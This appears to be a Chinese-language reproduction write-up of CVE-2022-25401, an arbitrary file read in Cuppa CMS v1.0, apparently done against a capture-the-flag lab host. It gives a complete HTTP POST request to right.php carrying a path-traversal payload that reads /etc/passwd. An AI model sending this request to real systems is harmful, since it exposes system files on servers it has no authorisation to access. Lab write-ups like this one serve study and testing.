Cuppa CMS任意文件读取漏洞（CVE-2022-25401）

一、漏洞概述

Cuppa CMS v1.0中文件管理器的复制功能允许将任何文件复制到当前目录，从而授予攻击者对任意文件得读取权限，/templates/default/html/windows/right.php文件存在任意文件读取漏洞。

二、影响范围

v1.0

三、访问页面

四、漏洞复现

1、访问接口POST接口/templates/default/html/windows/right.php

POST /templates/default/html/windows/right.php HTTP/1.1
Host: eci-2ze0ypo0agcmv4qn8uqm.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

id=1&path=component%2Ftable_manager%2Fview%2Fcu_views&uniqueClass=window_right_246232&url=../../../../../../etc/passwd

2、获取flag